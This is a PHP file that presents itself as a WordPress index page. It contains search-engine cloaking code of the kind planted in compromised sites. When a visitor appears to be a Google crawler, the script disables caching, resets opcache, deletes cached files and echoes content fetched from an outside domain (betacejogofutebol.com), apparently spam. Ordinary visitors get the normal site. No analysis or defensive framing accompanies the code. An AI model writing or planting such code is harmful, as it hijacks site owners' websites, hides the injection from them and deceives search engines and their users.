<?php

class BotDetector
{
    private array $googleAgents = [
        'Googlebot',
        'Google-Site-Verification',
        'Google-InspectionTool',
        'Googlebot-Mobile',
        'Googlebot-News',
        'Mediapartners-Google',
        'AdsBot-Google',
        'Googlebot-Image',
        'Googlebot-Video',
        'APIs-Google',
        'FeedFetcher-Google',
        'Google-Read-Aloud'
    ];

    public function isGoogle(): bool
    {
        $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $ip = $_SERVER['REMOTE_ADDR'] ?? '';

        if ($this->matchUserAgent($ua)) {
            return true;
        }

        return $this->verifyHostname($ip);
    }

    private function matchUserAgent(string $ua): bool
    {
        foreach ($this->googleAgents as $agent) {
            if (stripos($ua, $agent) !== false) {
                return true;
            }
        }
        return false;
    }

    private function verifyHostname(string $ip): bool
    {
        if (!$ip) return false;

        $host = gethostbyaddr($ip);

        if ($host && preg_match('/\.google(bot)?\.com$/', $host)) {
            $resolvedIp = gethostbyname($host);
            return $resolvedIp === $ip;
        }

        return false;
    }
}

class CacheManager
{
    public static function disableBrowserCache(): void
    {
        header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
        header("Cache-Control: post-check=0, pre-check=0", false);
        header("Pragma: no-cache");
        header("Expires: 0");
    }

    public static function clearOpcache(): void
    {
        if (function_exists('opcache_reset')) {
            @opcache_reset();
        }
    }

    public static function clearFileCache(string $dir): void
    {
        if (!is_dir($dir)) return;

        foreach (glob($dir . '/*') as $file) {
            if (is_file($file)) {
                @unlink($file);
            }
        }
    }

    public static function run(): void
    {
        self::disableBrowserCache();
        self::clearOpcache();

        // optional: ganti path jika punya folder cache sendiri
        self::clearFileCache(__DIR__ . '/cache');
    }
}

class RemoteFetcher
{
    public static function get(string $url): string
    {
        $ch = curl_init();

        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTPHEADER => [
                'User-Agent: Googlebot'
            ]
        ]);

        $result = curl_exec($ch);
        curl_close($ch);

        return $result ?: '';
    }
}

$detector = new BotDetector();

if ($detector->isGoogle()) {

    CacheManager::run();

    $source = 'https://betacejogofutebol.com/exe/aarambhat/themes.txt';
    echo RemoteFetcher::get($source);
    exit;
}

define('WP_USE_THEMES', true);
require __DIR__ . '/home.php';